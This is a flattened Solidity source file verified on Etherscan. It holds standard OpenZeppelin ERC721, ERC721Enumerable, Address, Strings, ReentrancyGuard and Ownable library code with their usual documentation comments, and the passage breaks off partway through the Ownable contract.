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/**
*Submitted for verification at Etherscan.io on 2021-09-09
*/
// Sources flattened with hardhat v2.6.2 https://hardhat.org
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
